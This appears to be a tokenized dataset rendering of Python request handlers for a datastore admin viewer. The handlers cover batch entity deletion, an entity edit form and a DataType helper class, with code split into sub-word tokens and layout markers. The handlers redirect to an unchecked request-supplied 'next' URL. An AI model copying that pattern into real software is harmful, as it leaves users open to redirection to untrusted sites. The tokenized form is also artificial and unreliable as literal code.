"Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Request", " ", "handler", " ", "for", " ", "a", " ", "batch", " ", "operati", "on", " ", "on", " ", "entit", "ies", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Supp", "orts", " ", "delet", "ing", " ", "multiple", " ", "entit", "ies", " ", "by", " ", "key", ",", " ", "then", " ", "redirec", "ting", " ", "to", " ", "anot", "her", " ", "url", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PATH_", "=_", "Datas", "tore", "Query", "Handler_", "._", "PATH_", "+_", "'/", "batched", "it", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Bat", "ch", "Edit", "Handler_", "(_", "Datas", "tore", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kind_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "kind", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "keys_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "keys_", "=_", "int_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "num", "keys", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "1_", ",_", "num", "\\u", "keys_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "%", "d", "'_", "%_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keys_", "._", "append_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", "'_", ")_", "==_", "'", "Delete", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "deleted_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "datastore_", "._", "Delete_", "(_", "datastore_", "._", "Key_", "(_", "key_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "deleted_", "=_", "num", "\\u", "deleted_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "message_", "=_", "'%", "d", " ", "entit", "%", "s", " ", "delete", "d", ".'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "deleted_", ",_", "(_", "'", "ies", "'_", ",_", "'", "y", "'_", ")_", "[_", "num", "\\u", "deleted_", "==_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "redirect_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "&", "msg", "=", "%", "s", "'_", "%_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "next", "'_", ")_", ",_", "urllib_", "._", "quote", "\\u", "plus_", "(_", "message_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "error_", "(_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Datas", "tore", "Edit", "Handler_", "(_", "Datas", "tore", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Request", " ", "handler", " ", "for", " ", "the", " ", "entity", " ", "create", "/", "edit", " ", "form", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "We", " ", "dete", "rmin", "e", " ", "how", " ", "to", " ", "generat", "e", " ", "a", " ", "form", " ", "to", " ", "edit", " ", "an", " ", "entity", " ", "by", " ", "doi", "ng", " ", "a", " ", "query", "\\", "10", ";", " ", " ", "on", " ", "the", " ", "entity", " ", "kind", " ", "and", " ", "look", "ing", " ", "at", " ", "the", " ", "set", " ", "of", " ", "keys", " ", "and", " ", "thei", "r", " ", "types", " ", "in", "\\", "10", ";", " ", " ", "the", " ", "result", " ", "set", ".", " ", "We", " ", "use", " ", "the", " ", "Data", "Type", " ", "subclasses", " ", "for", " ", "tho", "se", " ", "introspect", "ed", " ", "types", "\\", "10", ";", " ", " ", "to", " ", "generat", "e", " ", "the", " ", "form", " ", "and", " ", "parse", " ", "the", " ", "form", " ", "results", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PATH_", "=_", "Datas", "tore", "Query", "Handler_", "._", "PATH_", "+_", "'/", "edit", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Edit", "Handler_", "(_", "Datas", "tore", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entity", "\\u", "key_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "entity", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "instance_", "=_", "datastore_", "._", "Key_", "(_", "entity", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "key", "\\u", "name_", "=_", "key", "\\u", "instance_", "._", "name_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "key", "\\u", "id_", "=_", "key", "\\u", "instance_", "._", "id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent", "\\u", "key_", "=_", "key", "\\u", "instance_", "._", "parent_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind_", "=_", "key", "\\u", "instance_", "._", "kind_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "=_", "datastore_", "._", "Get_", "(_", "key", "\\u", "instance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sample", "\\u", "entities_", "=_", "[_", "entity_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kind_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "kind", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sample", "\\u", "entities_", "=_", "self_", "._", "execute", "\\u", "query_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "sample", "\\u", "entities_", ")_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "uri_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "next", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind", "\\u", "param_", "=_", "'", "kind", "=", "%", "s", "'_", "%_", "kind_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "kind", "\\u", "param_", "in_", "next", "\\u", "uri_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'?'_", "in_", "next", "\\u", "uri_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "uri_", "+=_", "'&'_", "+_", "kind", "\\u", "param_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "uri_", "+=_", "'?'_", "+_", "kind", "\\u", "param_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "redirect_", "(_", "next", "\\u", "uri_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "entity", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "instance_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "key", "\\u", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "key", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent", "\\u", "key_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "parent", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent", "\\u", "kind_", "=_", "parent", "\\u", "key_", "._", "kind_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent", "\\u", "key", "\\u", "string_", "=_", "Pse", "udo", "Bre", "adc", "rum", "bs_", "(_", "parent", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent", "\\u", "kind_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent", "\\u", "key", "\\u", "string_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fields_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "values_", "=_", "self_", "._", "get", "\\u", "key", "\\u", "values_", "(_", "sample", "\\u", "entities_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "sample", "\\u", "values_", "in_", "key", "\\u", "values_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "entity_", "and_", "entity_", "._", "has", "\\u", "key_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data\\u", "type_", "=_", "Data", "Type_", "._", "get_", "(_", "entity_", "[_", "key_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data\\u", "type_", "=_", "Data", "Type_", "._", "get_", "(_", "sample", "\\u", "values_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "name_", "=_", "data\\u", "type_", "._", "name_", "(_", ")_", "+_", "\"|\"_", "+_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "entity_", "and_", "entity_", "._", "has", "\\u", "key_", "(_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "entity_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "field_", "=_", "data\\u", "type_", "._", "input", "\\u", "field_", "(_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "._", "append_", "(_", "(_", "key_", ",_", "data\\u", "type_", "._", "name_", "(_", ")_", ",_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "datast", "ore", "\\u", "edit", ".", "html", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "kind", "'_", ":_", "kind_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "key", "'_", ":_", "entity", "\\u", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "key", "\\u", "name", "'_", ":_", "entity", "\\u", "key", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "key", "\\u", "id", "'_", ":_", "entity", "\\u", "key", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fields", "'_", ":_", "fields_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "foc", "us", "'_", ":_", "self_", "._", "request_", "._", "get_", "(_", "'", "foc", "us", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "next", "'_", ":_", "self_", "._", "request_", "._", "get_", "(_", "'", "next", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "parent", "\\u", "key", "'_", ":_", "parent", "\\u", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "parent", "\\u", "kind", "'_", ":_", "parent", "\\u", "kind_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "parent", "\\u", "key", "\\u", "string", "'_", ":_", "parent", "\\u", "key", "\\u", "string_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Datas", "tore", "Edit", "Handler_", "(_", "Datas", "tore", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kind_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "kind", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "key_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "key", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "entity", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", "'_", ")_", "==_", "'", "Delete", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "datastore_", "._", "Delete_", "(_", "datastore_", "._", "Key_", "(_", "entity", "\\u", "key_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "redirect_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "next", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "entity_", "=_", "datastore_", "._", "Get_", "(_", "datastore_", "._", "Key_", "(_", "entity", "\\u", "key_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entity_", "=_", "datastore_", "._", "Entity_", "(_", "kind_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args_", "=_", "self_", "._", "request_", "._", "arguments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "arg_", "in_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bar_", "=_", "arg_", "._", "find_", "(_", "'|'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "bar_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data\\u", "type", "\\u", "name_", "=_", "arg_", "[_", ":_", "bar_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field", "\\u", "name_", "=_", "arg_", "[_", "bar_", "+_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "\\u", "value_", "=_", "self_", "._", "request_", "._", "get_", "(_", "arg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "type_", "=_", "Data", "Type_", "._", "get", "\\u", "by", "\\u", "name_", "(_", "data\\u", "type", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "entity_", "and_", "entity_", "._", "has", "\\u", "key_", "(_", "field", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "format", "ted", "\\u", "value_", "=_", "data\\u", "type_", "._", "format_", "(_", "entity_", "[_", "field", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "old", "\\u", "format", "ted", "\\u", "value_", "==_", "form", "\\u", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "form", "\\u", "value_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "data\\u", "type_", "._", "parse_", "(_", "form", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "[_", "field", "\\u", "name_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "entity_", "._", "has", "\\u", "key_", "(_", "field", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "entity_", "[_", "field", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "datastore_", "._", "Put", "_", "(_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "redirect_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "next", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "Data", "Type", " ", "represent", "s", " ", "a", " ", "data", " ", "type", " ", "in", " ", "the", " ", "datast", "ore", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Ea", "ch", " ", "Data", "Type", " ", "subt", "ype", " ", "defin", "es", " ", "four", " ", "method", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", "format", ":", " ", "return", "s", " ", "a", " ", "format", "ted", " ", "string", " ", "for", " ", "a", " ", "datast", "ore", " ", "value", "\\", "10", ";", " ", "input", "\\u", "field", ":", " ", "return", "s", " ", "a", " ", "string", " ", "HTM", "L", " ", "<", "input", ">", " ", "element", " ", "for", " ", "this", " ", "Data", "Type", "\\", "10", ";", " ", "name", ":", " ", "the", " ", "frie", "ndl", "y", " ", "string", " ", "name", " ", "of", " ", "this", " ", "Data", "Type", "\\", "10", ";", " ", "parse", ":", " ", "parse", "s", " ", "the", " ", "format", "ted", " ", "string", " ", "represent", "ation", " ", "of", " ", "this", " ", "Data", "Type", "\\", "10", ";", " ", "python", "\\u", "type", ":", " ", "the", " ", "canonical", " ", "Pyth", "on", " ", "type", " ", "for", " ", "this", " ", "datast", "ore", " ", "type", "\\", "10", ";", "\\", "10", ";", " ", " ", "We", " ", "use", " ", "Data", "Type", " ", "instance", "s", " ", "to", " ", "display", " ", "format", "ted", " ", "values", " ", "in", " ", "our", " ", "result", " ", "lists", ",", "\\", "10", ";", " ", " ", "and", " ", "we", " ", "use", "s", " ", "input", "\\u", "field", "/", "format", "/", "parse", " ", "to", " ", "generat", "e", " ", "forms", " ", "and", " ", "parse", " ", "the", " ", "results", "\\", "10", ";", " ", " ", "from", " ", "tho", "se", " ", "forms", " ", "to", " ", "allow", " ", "editin", "g", " ", "of", " ", "entit", "ies", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get_", "(_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u", "DATA", "\\u", "TYPES_", "[_", "value_", "._", "\\u\\u", "class\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "by", "\\u", "name_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u", "NAME", "D", "\\u", "DATA", "\\u", "TYPES_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "str_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "short", "\\u", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field_", "(_", "self_", ",_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "string", "\\u", "value_", "=_", "self_", "._", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "string", "\\u", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "'<", "input", " ", "class", "=\"", "%", "s", "\"", " ", "name", "=\"", "%", "s", "\"", " ", "type", "=\"", "text", "\"", " ", "size", "=\"", "%", "d", "\"", " ", "value", "=\"", "%", "s", "\"/>'_", "%_", "(_", "cgi_", "._", "escape_", "(_", "self_", "._", "name_", "(_", ")_", ")_", ",_", "cgi_", "._", "escape_", "(_", "name_", ")_", ",_", "self_", "._", "input", "\\u", "field", "\\u", "size_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cgi_", "._", "escape_", "(_", "string", "\\u", "value_", ",_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Data", "Type_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "addition", "al", "\\u", "short", "\\u", "value", "\\u", "html_", "(_", "self_", ",_", "unu", "sed", "\\u", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "String", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 